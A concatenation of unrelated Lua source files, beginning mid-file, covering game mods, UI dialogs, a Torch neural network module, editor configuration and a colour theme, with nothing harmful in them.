error('raw[' .. tostring(k) .. '] nil', 2)
end
result[k] = v(raw[k], act)
end
return result
end
return result
end
--- Acts similiarly to combine_reducers except for actionators.
-- @param actionators table the keys are ignored, values are tables which
-- are actionators (map action types to functions). If there are multiple
-- actionators with the same keys, an error is raised.
-- @return table the keys are action types and the values are functions,
-- combining all of the given actionators.
function state.combine_actionators(actionators)
local result = {}
for _, actionator in pairs(actionators) do
for act_type, fn in pairs(actionator) do
if result[act_type] ~= nil then
error('multiple actionators with act type ' .. act_type)
end
result[act_type] = fn
end
end
return result
end
local function wrap_discrim(discrim, key)
local function result(act, poss, corrupted)
return discrim(act, poss, corrupted, key)
end
return result
end
--- Acts similarly to combine_reducers except for discriminators.
-- @param discriminator table the keys are like combine_reducers, the values
-- are tables which map action types to a table of functions which can
-- disambiguate possible states. To make this possible, we pass the key to
-- the discriminator funcitons.
-- @return table a single discriminator table with every discriminator
-- included
function state.combine_discriminators(discriminators)
local result = {}
for dkey, discriminator in pairs(discriminators) do
for k, v in pairs(discriminator) do
if result[k] == nil then
result[k] = {}
end
local arr = result[k]
for i, fn in ipairs(v) do
arr[#arr + 1] = wrap_discrim(fn, dkey)
end
end
end
return result
end
--- Acts similiarly to combine_inits except for initialization tables or
-- functions.
-- @param inits table the keys the same as for combine_reducers, the values
-- are tables or functions which return tables when passed no arguments.
-- @return function a function which acts as the combination of all the init
-- functions/tables
function state.combine_inits(inits)
local function result()
local tbl = {}
for k, v in pairs(inits) do
if type(v) == 'table' then
tbl[k] = v
else
tbl[k] = v()
end
end
return tbl
end
return result
end
--- Combines all the reducers, actionators, and discriminators and returns
-- them in the same order. This is equivalent to calling the individual
-- combine function on each element.
-- Usage: r, a, d, i = state.combine(r, a, d, i)
function state.combine(reducers, actionators, discriminators, inits)
reducers = state.combine_reducers(reducers)
actionators = state.combine_actionators(actionators)
discriminators = state.combine_discriminators(discriminators)
inits = state.combine_inits(inits)
return reducers, actionators, discriminators, inits
end
--- Deep copies the given raw state recursively. This is full-proof
-- but expensive.
-- @param st table the raw state
-- @return table a deep copy
function state.deep_copy(st)
if type(st) ~= 'table' then return st end
local res = {}
for k, v in pairs(st) do
res[k] = state.deep_copy(v)
end
return res
end
--- Shallow copies the given state, non-recursively. This is typically good
-- enough and faster, but requires a bit more thought.
-- @param st table the raw state
-- @return table a shallow copy
function state.shallow_copy(st)
local res = {}
for k, v in pairs(st) do
res[k] = v
end
return res
end
--- This uses a guessing strategy for discriminating possible states, which
-- will always give a single unique guess. This simply guesses the move
-- completed.
-- @param poss the possibilities to discriminate between
-- @return the post possibility
function state.discriminate_with_guess(act, poss, corrupted)
return {poss[#poss]}
end
return state
|
Config = {}
Config.StartingApartment = true -- Enable/disable starting apartments (make sure to set default spawn coords)
Config.Interior = vector3(-8.88, 512.91, 174.63) -- Interior to load where characters are previewed
Config.DefaultSpawn = vector3(-1035.71, -2731.87, 12.86) -- Default spawn coords if you have start apartments disabled
Config.PedCoords = vector4(-8.55, 508.84, 174.63, 19.81) -- Create preview ped at these coordinates
Config.HiddenCoords = vector4(3.3, 523.88, 170.62, 70.87) -- Hides your actual ped Ma-cro guapo while you are in selection
Config.CamCoords = vector4(-8.88, 512.91, 174.63, 185.5) -- Camera coordinates for character preview screen
|
local floor = math.floor
--- Represents the in game time.
local Time = {}
Time.__index = Time
function Time.new()
return setmetatable({
--- Seconds into the day.
clock = 0,
--- The number of days that have passed.
day = 0,
--- How bright it is outside, ranges between `0` to `1`.
--- Is `1` during midday, `0` during night, and interpolated between `0` to `1` during twilight.
sunlight = 0,
--- The length of a day in seconds.
DAY_LENGTH = 20 * 60,
--- How many seconds of sun there is in a day.
--- This value is set by princess Celestia.
SUN_TIME = 20 * 60 * 0.66, -- 66% is daylight
--- How many seconds it takes for the night to transition to day.
--- This value is set by princess Celestia or princess Luna, I'm not sure which.
TWILIGHT_TIME = 5
}, Time)
end
function Time:tick(dt)
self.day = self.day + floor(self.clock / self.DAY_LENGTH)
self.clock = (self.clock + dt) % self.DAY_LENGTH
self:tickLight()
end
function Time:tickLight()
local midday = self.DAY_LENGTH / 2 - self.SUN_TIME / 2
local sunrise = midday - self.TWILIGHT_TIME / 2
local sunset = midday + self.SUN_TIME - self.TWILIGHT_TIME / 2
if self.clock < sunrise then
self.sunlight = 0
elseif self.clock < sunrise + self.TWILIGHT_TIME then
self.sunlight = (self.clock - sunrise) / self.TWILIGHT_TIME
elseif self.clock < sunset then
self.sunlight = 1
elseif self.clock < sunset + self.TWILIGHT_TIME then
self.sunlight = 1 - (self.clock - sunset) / self.TWILIGHT_TIME
elseif self.clock < self.DAY_LENGTH then
self.sunlight = 0
end
end
--- Returns the time's save state. Saving time is important in real life too.
function Time:save() return {clock = self.clock, day = self.day} end
--- Returns a new `Time` from the save state.
function Time.load(save)
local self = Time.new()
self.clock = save.clock
self.day = save.day
return self
end
return Time
|
-- Stock dialog for selecting materials
local _ENV = mkmodule('gui.materials')
local gui = require('gui')
local widgets = require('gui.widgets')
local dlg = require('gui.dialogs')
local utils = require('utils')
ARROW = string.char(26)
CREATURE_BASE = 19
PLANT_BASE = 419
MaterialDialog = defclass(MaterialDialog, gui.FramedScreen)
MaterialDialog.focus_path = 'MaterialDialog'
MaterialDialog.ATTRS{
prompt = 'Type or select a material from this list',
frame_style = gui.GREY_LINE_FRAME,
frame_inset = 1,
frame_title = 'Select Material',
-- new attrs
none_caption = 'none',
hide_none = false,
use_inorganic = true,
use_creature = true,
use_plant = true,
mat_filter = DEFAULT_NIL,
on_select = DEFAULT_NIL,
on_cancel = DEFAULT_NIL,
on_close = DEFAULT_NIL,
}
function MaterialDialog:init(info)
self:addviews{
widgets.Label{
text = {
self.prompt, '\n\n',
'Category: ', { text = self:cb_getfield('context_str'), pen = COLOR_CYAN }
},
text_pen = COLOR_WHITE,
frame = { l = 0, t = 0 },
},
widgets.Label{
view_id = 'back',
visible = false,
text = { { key = 'LEAVESCREEN', text = ': Back' } },
frame = { r = 0, b = 0 },
auto_width = true,
},
widgets.FilteredList{
view_id = 'list',
not_found_label = 'No matching materials',
frame = { l = 0, r = 0, t = 4, b = 2 },
icon_width = 2,
on_submit = self:callback('onSubmitItem'),
},
widgets.Label{
text = { {
key = 'SELECT', text = ': Select',
disabled = function() return not self.subviews.list:canSubmit() end
} },
frame = { l = 0, b = 0 },
}
}
self:initBuiltinMode()
end
function MaterialDialog:getWantedFrameSize(rect)
return math.max(self.frame_width or 40, #self.prompt), math.min(28, rect.height-8)
end
function MaterialDialog:onDestroy()
if self.on_close then
self.on_close()
end
end
function MaterialDialog:initBuiltinMode()
local choices = {}
if not self.hide_none then
table.insert(choices, { text = self.none_caption, mat_type = -1, mat_index = -1 })
end
if self.use_inorganic then
table.insert(choices, {
icon = ARROW, text = 'inorganic', key = 'CUSTOM_SHIFT_I',
cb = self:callback('initInorganicMode')
})
end
if self.use_creature then
table.insert(choices, {
icon = ARROW, text = 'creature', key = 'CUSTOM_SHIFT_C',
cb = self:callback('initCreatureMode')
})
end
if self.use_plant then
table.insert(choices, {
icon = ARROW, text = 'plant', key = 'CUSTOM_SHIFT_P',
cb = self:callback('initPlantMode')
})
end
local table = df.global.world.raws.mat_table.builtin
for i=0,df.builtin_mats._last_item do
self:addMaterial(choices, table[i], i, -1, false, nil)
end
self:pushContext('Any material', choices)
end
function MaterialDialog:initInorganicMode()
local choices = {}
for i,mat in ipairs(df.global.world.raws.inorganics) do
self:addMaterial(choices, mat.material, 0, i, false, mat)
end
self:pushContext('Inorganic materials', choices)
end
function MaterialDialog:initCreatureMode()
local choices = {}
for i,v in ipairs(df.global.world.raws.creatures.all) do
self:addObjectChoice(choices, v, v.name[0], CREATURE_BASE, i)
end
self:pushContext('Creature materials', choices)
end
function MaterialDialog:initPlantMode()
local choices = {}
for i,v in ipairs(df.global.world.raws.plants.all) do
self:addObjectChoice(choices, v, v.name, PLANT_BASE, i)
end
self:pushContext('Plant materials', choices)
end
function MaterialDialog:addObjectChoice(choices, obj, name, typ, index)
-- Check if any eligible children
local count = #obj.material
local idx = 0
if self.mat_filter then
count = 0
for i,v in ipairs(obj.material) do
if self.mat_filter(v, obj, typ+i, index) then
count = count + 1
if count > 1 then break end
idx = i
end
end
end
-- Create an entry
if count < 1 then
return
elseif count == 1 then
self:addMaterial(choices, obj.material[idx], typ+idx, index, true, obj)
else
table.insert(choices, {
icon = ARROW, text = name, mat_type = typ, mat_index = index,
obj = obj, cb = self:callback('onSelectObj')
})
end
end
function MaterialDialog:onSelectObj(item)
local choices = {}
for i,v in ipairs(item.obj.material) do
self:addMaterial(choices, v, item.mat_type+i, item.mat_index, false, item.obj)
end
self:pushContext(item.text, choices)
end
function MaterialDialog:addMaterial(choices, mat, typ, idx, pfix, parent)
if not mat then return end
-- Check the filter
if self.mat_filter and not self.mat_filter(mat, parent, typ, idx) then
return
end
-- Find the material name
local state = 0
if mat.heat.melting_point <= 10015 then
state = 1
end
local name = mat.state_name[state]
name = string.gsub(name, '^frozen ','')
name = string.gsub(name, '^molten ','')
name = string.gsub(name, '^condensed ','')
-- Add prefix if requested
local key
if pfix and mat.prefix ~= '' then
name = mat.prefix .. ' ' .. name
key = mat.prefix
end
table.insert(choices, {
text = name,
search_key = key,
material = mat,
mat_type = typ, mat_index = idx
})
end
function MaterialDialog:pushContext(name, choices)
if not self.back_stack then
self.back_stack = {}
self.subviews.back.visible = false
else
table.insert(self.back_stack, {
context_str = self.context_str,
all_choices = self.subviews.list:getChoices(),
edit_text = self.subviews.list:getFilter(),
selected = self.subviews.list:getSelected(),
})
self.subviews.back.visible = true
end
self.context_str = name
self.subviews.list:setChoices(choices, 1)
end
function MaterialDialog:onGoBack()
local save = table.remove(self.back_stack)
self.subviews.back.visible = (#self.back_stack > 0)
self.context_str = save.context_str
self.subviews.list:setChoices(save.all_choices)
self.subviews.list:setFilter(save.edit_text, save.selected)
end
function MaterialDialog:submitMaterial(typ, index)
self:dismiss()
if self.on_select then
self.on_select(typ, index)
end
end
function MaterialDialog:onSubmitItem(idx, item)
if item.cb then
item:cb(idx)
else
self:submitMaterial(item.mat_type, item.mat_index)
end
end
function MaterialDialog:onInput(keys)
if keys.LEAVESCREEN or keys.LEAVESCREEN_ALL then
if self.subviews.back.visible and not keys.LEAVESCREEN_ALL then
self:onGoBack()
else
self:dismiss()
if self.on_cancel then
self.on_cancel()
end
end
else
self:inputToSubviews(keys)
end
end
function showMaterialPrompt(title, prompt, on_select, on_cancel, mat_filter)
MaterialDialog{
frame_title = title,
prompt = prompt,
mat_filter = mat_filter,
on_select = on_select,
on_cancel = on_cancel,
}:show()
end
function ItemTypeDialog(args)
args.text = args.prompt or 'Type or select an item type'
args.text_pen = COLOR_WHITE
args.with_filter = true
args.icon_width = 2
local choices = {}
if not args.hide_none then
table.insert(choices, {
icon = '?', text = args.none_caption or 'none',
item_type = -1, item_subtype = -1
})
end
local filter = args.item_filter
for itype = 0,df.item_type._last_item do
local attrs = df.item_type.attrs[itype]
local defcnt = dfhack.items.getSubtypeCount(itype)
if not filter or filter(itype,-1) then
local name = attrs.caption or df.item_type[itype]
local icon
if defcnt >= 0 then
name = 'any '..name
icon = '+'
end
table.insert(choices, {
icon = icon, text = string.lower(name), item_type = itype, item_subtype = -1
})
end
if defcnt > 0 then
for subtype = 0,defcnt-1 do
local def = dfhack.items.getSubtypeDef(itype, subtype)
local success, chain = pcall(function() return def.props.flags.CHAIN_METAL_TEXT end)
local text = success and chain and " (chain) " or " "
local success, adjective = pcall(function() return def.adjective end)
if success and adjective ~= "" then
text = text .. adjective .. " " .. def.name
else
text = text .. def.name
end
if not filter or filter(itype,subtype,def) then
table.insert(choices, {
icon = '\x1e', text = text, item_type = itype, item_subtype = subtype
})
end
end
end
end
args.choices = choices
if args.on_select then
local cb = args.on_select
args.on_select = function(idx, obj)
return cb(obj.item_type, obj.item_subtype)
end
end
return dlg.ListBox(args)
end
function ItemTraitsDialog(args)
local job_item_flags_map = {}
for i = 1, 3 do
for _, f in ipairs(df['job_item_flags'..i]) do
if f then
job_item_flags_map[f] = 'flags'..i
end
end
end
local job_item_flags = {}
for k, _ in pairs(job_item_flags_map) do
job_item_flags[#job_item_flags + 1] = k
end
table.sort(job_item_flags)
--------------------------------------
local tool_uses = {}
for i, _ in ipairs(df.tool_uses) do
tool_uses[#tool_uses + 1] = df.tool_uses[i]
end
local restore_none = false
if tool_uses[1] == 'NONE' then
restore_none = true
table.remove(tool_uses, 1)
end
table.sort(tool_uses)
if restore_none then
table.insert(tool_uses, 1, 'NONE')
end
--------------------------------------
local set_ore_ix = {}
for i, raw in ipairs(df.global.world.raws.inorganics) do
for _, ix in ipairs(raw.metal_ore.mat_index) do
set_ore_ix[ix] = true
end
end
local ores = {}
for ix in pairs(set_ore_ix) do
local raw = df.global.world.raws.inorganics[ix]
ores[#ores+1] = {mat_index = ix, name = raw.material.state_name.Solid}
end
table.sort(ores, function(a,b) return a.name < b.name end)
--------------------------------------
-- CALCIUM_CARBONATE, CAN_GLAZE, FAT, FLUX,
-- GYPSUM, PAPER_PLANT, PAPER_SLURRY, TALLOW, WAX
local reaction_classes_set = {}
for ix,reaction in ipairs(df.global.world.raws.reactions.reactions) do
if #reaction.reagents > 0 then
for _, r in ipairs(reaction.reagents) do
if r.reaction_class and r.reaction_class ~= '' then
reaction_classes_set[r.reaction_class] = true
end
end
end --if
end
local reaction_classes = {}
for k in pairs(reaction_classes_set) do
reaction_classes[#reaction_classes + 1] = k
end
table.sort(reaction_classes)
--------------------------------------
-- PRESS_LIQUID_MAT, TAN_MAT, BAG_ITEM etc
local product_materials_set = {}
for ix,reaction in ipairs(df.global.world.raws.reactions.reactions) do
if #reaction.products > 0 then
--for _, p in ipairs(reaction.products) do
-- in the list in work order conditions there is no SEED_MAT.
-- I think it's because the game doesn't iterate over all products.
local p = reaction.products[0]
local mat = p.get_material
if mat and mat.product_code ~= '' then
product_materials_set[mat.product_code] = true
end
--end
end --if
end
local product_materials = {}
for k in pairs(product_materials_set) do
product_materials[#product_materials + 1] = k
end
table.sort(product_materials)
--==================================--
local function set_search_keys(choices)
for _, choice in ipairs(choices) do
if not choice.search_key then
if type(choice.text) == 'table' then
local search_key = {}
for _, token in ipairs(choice.text) do
search_key[#search_key+1] = string.lower(token.text or '')
end
choice.search_key = table.concat(search_key, ' ')
elseif choice.text then
choice.search_key = string.lower(choice.text)
end
end
end
end
args.text = args.prompt or 'Type or select an item trait'
args.text_pen = COLOR_WHITE
args.with_filter = true
args.icon_width = 2
args.dismiss_on_select = false
local pen_active = COLOR_LIGHTCYAN
local pen_active_d = COLOR_CYAN
local pen_not_active = COLOR_LIGHTRED
local pen_not_active_d = COLOR_RED
local pen_action = COLOR_WHITE
local pen_action_d = COLOR_GREY
local job_item = args.job_item
local choices = {}
local pen_cb = function(args, fnc)
if not (args and fnc) then
return COLOR_YELLOW
end
return fnc(args) and pen_active or pen_not_active
end
local pen_d_cb = function(args, fnc)
if not (args and fnc) then
return COLOR_YELLOW
end
return fnc(args) and pen_active_d or pen_not_active_d
end
local icon_cb = function(args, fnc)
if not (args and fnc) then
return '\19' -- ‼
end
-- '\251' is a checkmark
-- '\254' is a square
return fnc(args) and '\251' or '\254'
end
if not args.hide_none then
table.insert(choices, {
icon = '!',
text = {{text = args.none_caption or 'none', pen = pen_action, dpen = pen_action_d}},
reset_all_traits = true
})
end
local isActiveFlag = function (obj)
return obj.job_item[obj.ffield][obj.flag]
end
table.insert(choices, {
icon = '!',
text = {{text = 'unset flags', pen = pen_action, dpen = pen_action_d}},
reset_flags = true
})
for _, flag in ipairs(job_item_flags) do
local ffield = job_item_flags_map[flag]
local text = 'is ' .. (value and '' or 'any ') .. string.lower(flag)
local args = {job_item=job_item, ffield=ffield, flag=flag}
table.insert(choices, {
icon = curry(icon_cb, args, isActiveFlag),
text = {{text = text,
pen = curry(pen_cb, args, isActiveFlag),
dpen = curry(pen_d_cb, args, isActiveFlag),
}},
ffield = ffield, flag = flag
})
end
local isActiveTool = function (args)
return df.tool_uses[args.tool_use] == args.job_item.has_tool_use
end
for _, tool_use in ipairs(tool_uses) do
if tool_use == 'NONE' then
table.insert(choices, {
icon = '!',
text = {{text = 'unset use', pen = pen_action, dpen = pen_action_d}},
tool_use = tool_use
})
else
local args = {job_item = job_item, tool_use=tool_use}
table.insert(choices, {
icon = ' ',
text = {{text = 'has use ' .. tool_use,
pen = curry(pen_cb, args, isActiveTool),
dpen = curry(pen_d_cb, args, isActiveTool),
}},
tool_use = tool_use
})
end
end
local isActiveOre = function(args)
return (args.job_item.metal_ore == args.mat_index)
end
table.insert(choices, {
icon = '!',
text = {{text = 'unset ore', pen = pen_action, dpen = pen_action_d}},
ore_ix = -1
})
for _, ore in ipairs(ores) do
local args = {job_item = job_item, mat_index=ore.mat_index}
table.insert(choices, {
icon = ' ',
text = {{text = 'ore of ' .. ore.name,
pen = curry(pen_cb, args, isActiveOre),
dpen = curry(pen_d_cb, args, isActiveOre),
}},
ore_ix = ore.mat_index
})
end
local isActiveReactionClass = function(args)
return (args.job_item.reaction_class == args.reaction_class)
end
table.insert(choices, {
icon = '!',
text = {{text = 'unset reaction class', pen = pen_action, dpen = pen_action_d}},
reaction_class = ''
})
for _, reaction_class in ipairs(reaction_classes) do
local args = {job_item = job_item, reaction_class=reaction_class}
table.insert(choices, {
icon = ' ',
text = {{text = 'reaction class ' .. reaction_class,
pen = curry(pen_cb, args, isActiveReactionClass),
dpen = curry(pen_d_cb, args, isActiveReactionClass)
}},
reaction_class = reaction_class
})
end
local isActiveProduct = function(args)
return (args.job_item.has_material_reaction_product == args.product_materials)
end
table.insert(choices, {
icon = '!',
text = {{text = 'unset producing', pen = pen_action, dpen = pen_action_d}},
product_materials = ''
})
for _, product_materials in ipairs(product_materials) do
local args = {job_item = job_item, product_materials=product_materials}
table.insert(choices, {
icon = ' ',
text = {{text = product_materials .. '-producing',
pen = curry(pen_cb, args, isActiveProduct),
dpen = curry(pen_d_cb, args, isActiveProduct)
}},
product_materials = product_materials
})
end
set_search_keys(choices)
args.choices = choices
if args.on_select then
local cb = args.on_select
args.on_select = function(idx, obj)
return cb(obj)
end
end
return dlg.ListBox(args)
end
return _ENV
|
require "import"
--import "mods.muk"
import "mods.Chimame_Core"
--this.setSharedData("Theme","Night")
-----这里是启动页的事件-----
function onKeyDown(code,event)
if string.find(tostring(event),"KEYCODE_BACK") ~= nil then
--监听阻止返回键
return true
end
end
layout={
LinearLayout;
layout_width="-1";
layout_height="-1";
gravity="center";
orientation="vertical";
id="_";
{
ImageView;
layout_width="100dp";
layout_marginTop="-130dp";
src="icon.png";
};
{
TextView;
text="Chimame Browser";
textColor=primaryc;
textSize="24sp";
id="_title";
gravity="center";
layout_width="-2";
layout_height="-2";
Typeface=字体("product-Bold");
};
{
TextView;
text="0.200 PreView Edition";
textColor=primaryc;
textSize="18sp";
id="_subtitle";
gravity="center";
layout_width="-2";
layout_height="-2";
Typeface=字体("product");
alpha=0;
};
};
--pcall尝试设置视图
if pcall(function()
设置视图(layout)--设置视图
end) then
--如果可以设置视图
ti=Ticker()--定时器
ti.Period=2300
ti.onTick=function()
ti.stop()
activity.newActivity("home",android.R.anim.fade_in,android.R.anim.fade_out)
activity.finish()
end
ti.start()
--字体动画
tt = ObjectAnimator.ofFloat(_title, "Y",{activity.height*(3/4), activity.height/2-dp2px(30)})
tt.setInterpolator(DecelerateInterpolator())
tt.setDuration(1000)
at = ObjectAnimator.ofFloat(_title, "alpha", {0, 1})
at.setDuration(1000)
tst = ObjectAnimator.ofFloat(_subtitle, "Y",{activity.height*(3/4), activity.height/2+dp2px(30)})
tst.setInterpolator(DecelerateInterpolator())
tst.setDuration(1000)
ast = ObjectAnimator.ofFloat(_subtitle, "alpha", {0, 1})
ast.setDuration(1000)
set = AnimatorSet()--动画排序
set.play(tst).after(tt)
set.play(ast).after(at)
set.start()
else
--如果不可以设置视图,重新加载此页面以解决问题(19 6-6发现及修复此问题)
activity.newActivity("mods/first_boot")
activity.finish()
end
|
--[[
MTA Role Play (mta-rp.pl)
Autorzy poniższego kodu:
- Patryk Adamowicz <patrykadam.dev@gmail.com>
Discord: PatrykAdam#1293
Link do githuba: https://github.com/PatrykAdam/mtarp
--]]
local audio = {}
local soundElement = false
function audio.onEnter(player)
if player == localPlayer then
if getElementData(source, "vehicle:audio") then
soundElement = playSound( getElementData(source, "vehicle:url"), true)
setSoundVolume( soundElement, 0.5 )
end
end
end
addEventHandler( "onClientVehicleEnter", root, audio.onEnter )
function audio.onExit(player)
if player == localPlayer then
if isElement(soundElement) then
stopSound( soundElement )
end
end
end
addEventHandler( "onClientVehicleExit", root, audio.onExit )
function audio.update(URL)
audio.onExit(localPlayer)
triggerEvent( "onClientVehicleEnter", getPedOccupiedVehicle( localPlayer ), localPlayer )
end
addEvent('updateVehicleURL', true)
addEventHandler( 'updateVehicleURL', root, audio.update )
function audio.hide()
removeEventHandler( "onClientGUIClick", audio.button[1], audio.changeURL, false)
removeEventHandler( "onClientGUIClick", audio.button[2], audio.hide, false)
showCursor( false )
destroyElement( audio.window )
end
function audio.changeURL()
local url = tostring(guiGetText( audio.edit ))
triggerServerEvent( 'newVehicleURL', localPlayer, audio.vehicle, url )
audio.hide()
end
function audio.show(vehUID, url)
if isElement(audio.window) then audio.hide() end
audio.vehicle = vehUID
showCursor( true )
audio.window = guiCreateWindow((screenX - 283) / 2, (screenY - 102) / 2, 283, 102, "System audio", false)
guiWindowSetSizable(audio.window, false)
audio.label = guiCreateLabel(10, 24, 205, 24, "Adres do muzyki:", false, audio.window)
guiSetFont(audio.label, "default-bold-small")
audio.edit = guiCreateEdit(11, 44, 262, 20, url, false, audio.window)
audio.button = {}
audio.button[1] = guiCreateButton(19, 70, 104, 22, "Zmień", false, audio.window)
audio.button[2] = guiCreateButton(159, 70, 104, 22, "Anuluj", false, audio.window)
addEventHandler( "onClientGUIClick", audio.button[1], audio.changeURL, false)
addEventHandler( "onClientGUIClick", audio.button[2], audio.hide, false)
end
addEvent('changeVehicleURL', true)
addEventHandler( 'changeVehicleURL', root, audio.show )
|
--[[
QuickSpec/Object Definition Assistant
A prototype library to assist in speedy object declarations
]]
local quickspec
local utility
local lib
quickspec = {
source = {},
class = function(base_path, spec)
local out = {}
local retrieved = utility.table_nav(self.source, base_path)
if (retrieved) then
utility.table_deepcopy(retrieved, out)
end
utility.table_deepcopy(spec, out)
lib.oop:objectify(out)
return out
end,
object = function(base_path, spec)
local out
local retrieved = utility.table_nav(self.source, base_path)
if (retrieved) then
if (retrieved.new) then
out = retrieved:new()
else
out = {}
end
end
utility.table_deepcopy(spec, out)
return out
end,
init = function(self, engine)
lib = engine.lib
utility = lib.utility
self.source = lib
end
}
return quickspec
|
require("distant").setup({
-- Applies Chip's personal settings to every machine you connect to
--
-- 1. Ensures that distant servers terminate with no connections
-- 2. Provides navigation bindings for remote directories
-- 3. Provides keybinding to jump into a remote file's parent directory
["*"] = require("distant.settings").chip_default(),
})
|
local BlockMixture, parent = torch.class('nn.BlockMixture', 'nn.Module')
------------------------------------------------------------------------
--[[ BlockMixture ]]--
-- n > 1 BlockSparse Modules gated by a one gater with
-- n - 1 output spaces, one for each of the hidden layers
------------------------------------------------------------------------
function BlockMixture:__init(experts, gater, expertScale, gaterScale)
parent.__init(self)
self.gater = gater
assert(#experts > 1, "need at least 2 experts")
self.experts = experts
self.expertScale = expertScale or 1
self.gaterScale = gaterScale or 1
self.modules = {gater}
for i, expert in ipairs(self.experts) do
table.insert(self.modules, expert)
end
self.batchSize = 0
end
function BlockMixture:updateOutput(input)
if #self.experts == 2 then
self.gaterOutputs = {self.gater:updateOutput(input)}
else
self.gaterOutputs = self.gater:updateOutput(input)
end
self.expertInputs = {{input, self.gaterOutputs[1]}}
for i=1,#self.experts - 1 do
self.expertInputs[i+1] = {self.experts[i]:updateOutput(self.expertInputs[i]), self.gaterOutputs[i+1]}
end
self.output = self.experts[#self.experts]:updateOutput(self.expertInputs[#self.expertInputs][1])
return self.output
end
function BlockMixture:updateGradInput(input, gradOutput)
self.expertGradInputs = {}
self.expertGradInputs[#self.experts] = self.experts[#self.experts]:updateGradInput(self.expertInputs[#self.expertInputs][1], gradOutput)
for i=#self.experts-1,1,-1 do
self.expertGradInputs[i] = self.experts[i]:updateGradInput(self.expertInputs[i], self.expertGradInputs[i+1][1])
end
self.gaterGradOutputs = {}
for i=1,#self.gaterOutputs do
self.gaterGradOutputs[i] = self.expertGradInputs[i][2]
end
if #self.experts == 2 then
self._gradInput = self.gater:updateGradInput(input, self.gaterGradOutputs[1])
else
self._gradInput = self.gater:updateGradInput(input, self.gaterGradOutputs)
end
self.gradInput:resizeAs(input)
self.gradInput:copy(self.expertGradInputs[1][1])
self.gradInput:add(self._gradInput)
return self.gradInput
end
function BlockMixture:accGradParameters(input, gradOutput, scale)
scale = scale or 1
if self.expertScale > 0 then
self.experts[#self.experts]:accGradParameters(self.expertInputs[#self.expertInputs][1], gradOutput, scale)
for i=#self.experts-1,1,-1 do
self.experts[i]:accGradParameters(self.expertInputs[i], self.expertGradInputs[i+1][1], scale)
end
end
if self.gaterScale > 0 then
if #self.experts == 2 then
self.gater:accGradParameters(input, self.gaterGradOutputs[1], scale)
else
self.gater:accGradParameters(input, self.gaterGradOutputs, scale)
end
end
end
function BlockMixture:accUpdateGradParameters(input, gradOutput, lr)
if self.expertScale > 0 then
self.experts[#self.experts]:accUpdateGradParameters(self.expertInputs[#self.expertInputs][1], gradOutput, lr)
for i=#self.experts-1,1,-1 do
self.experts[i]:accUpdateGradParameters(self.expertInputs[i], self.expertGradInputs[i+1][1], lr*self.expertScale)
end
end
if self.gaterScale > 0 then
if #self.experts == 2 then
self.gater:accUpdateGradParameters(input, self.gaterGradOutputs[1], lr*self.gaterScale)
else
self.gater:accUpdateGradParameters(input, self.gaterGradOutputs, lr*self.gaterScale)
end
end
end
function BlockMixture:zeroGradParameters()
for i,module in ipairs(self.modules) do
module:zeroGradParameters()
end
end
function BlockMixture:updateParameters(learningRate)
if self.expertScale > 0 then
for i,expert in ipairs(self.experts) do
expert:updateParameters(learningRate*self.expertScale)
end
end
if self.gaterScale > 0 then
self.gater:updateParameters(learningRate*self.gaterScale)
end
end
function BlockMixture:share(mlp,...)
for i=1,#self.modules do
self.modules[i]:share(mlp.modules[i],...);
end
end
function BlockMixture:parameters()
local function tinsert(to, from)
if type(from) == 'table' then
for i=1,#from do
tinsert(to,from[i])
end
else
table.insert(to,from)
end
end
local w = {}
local gw = {}
for i=1,#self.modules do
local mw,mgw = self.modules[i]:parameters()
if mw then
tinsert(w,mw)
tinsert(gw,mgw)
end
end
return w,gw
end
function BlockMixture:type(type)
for i,module in ipairs(self.modules) do
module:type(type)
end
self.gradInput = self.gradInput:type(type)
end
|
function CreateJobWeapon(name, count, label, jobName, jobLabel)
local self = {}
self.name = name
self.count = count
self.label = label
self.jobName = jobName
self.jobLabel = jobLabel
self.getWeapons = function()
return self.count or 0
end
self.addWeapon = function(count)
count = self.round(count)
if (count >= 0) then
self.count = (self.count + count)
self.triggerEvent('esx_jobs:setJobWeapon', self.jobName, self.name, self.count)
self.triggerEvent('esx_jobs:addWeapon', self.jobName, self.name, count)
self.save()
end
end
self.removeWeapon = function(count)
count = self.round(count)
if (count >= 0) then
self.count = (self.count - count)
self.triggerEvent('esx_jobs:setJobWeapon', self.jobName, self.name, self.count)
self.triggerEvent('esx_jobs:removeWeapon', self.jobName, self.name, count)
self.save()
end
end
self.setWeapon = function(count)
count = self.round(count)
if (count >= 0) then
self.count = count
self.triggerEvent('esx_jobs:setJobWeapon', self.jobName, self.name, self.count)
self.triggerEvent('esx_jobs:setWeapon', self.jobName, self.name, count)
self.save()
end
end
self.save = function()
MySQL.Async.execute('INSERT INTO `job_weapon` (`job`, `weapon`, `count`, `label`) VALUES (@job, @weapon, @count, @label) ON DUPLICATE KEY UPDATE `count` = @count, `label` = @label', {
['@count'] = self.round(self.count),
['@label'] = self.label,
['@job'] = self.jobName,
['@weapon'] = self.name
})
end
self.triggerEvent = function(name, ...)
TriggerEvent(name, ...)
end
self.round = function(value, numDecimalPlaces)
if numDecimalPlaces then
local power = 10^numDecimalPlaces
return math.floor((value * power) + 0.5) / (power)
else
return math.floor(value + 0.5)
end
end
return self
end
|
-- layout0.wlua
require 'CLRPackage'
import "System.Windows.Forms"
panel = FlowLayoutPanel()
function button(text,callback)
local b = Button()
callback = callback or function() print(text) end
b.Text = text
b.Click:Add(callback)
return b
end
function add2panel(c)
panel.Controls:Add(c)
end
--panel.WrapContents = false
b = button ("Toggle Wrap",function()
panel.WrapContents = not panel.WrapContents
end)
add2panel(b)
b = button "Two"
add2panel(b)
b = button "Three"
add2panel(b)
form = Form()
form.Text = "Hello, World!"
panel.Dock = DockStyle.Fill
form.Controls:Add(panel)
form:ShowDialog()
|
object_mobile_bounty_check_fugitive_6 = object_mobile_shared_bounty_check_fugitive_6:new {
}
ObjectTemplates:addTemplate(object_mobile_bounty_check_fugitive_6, "object/mobile/bounty_check_fugitive_6.iff")
|
-- base16-tomorrow-night
-- color palatte definition
local theme = {}
-- {{{ Colors
theme.scheme = "Tomorrow Night"
theme.scheme_id = "tomorrow_night"
theme.scheme_author = "Chris Kempson (http =//chriskempson.com)"
theme.scheme_type = "dark"
theme.base00 = "#1d1f21"
theme.base01 = "#282a2e"
theme.base02 = "#373b41"
theme.base03 = "#969896"
theme.base04 = "#b4b7b4"
theme.base05 = "#c5c8c6"
theme.base06 = "#e0e0e0"
theme.base07 = "#ffffff"
theme.base08 = "#cc6666"
theme.base09 = "#de935f"
theme.base0A = "#f0c674"
theme.base0B = "#b5bd68"
theme.base0C = "#8abeb7"
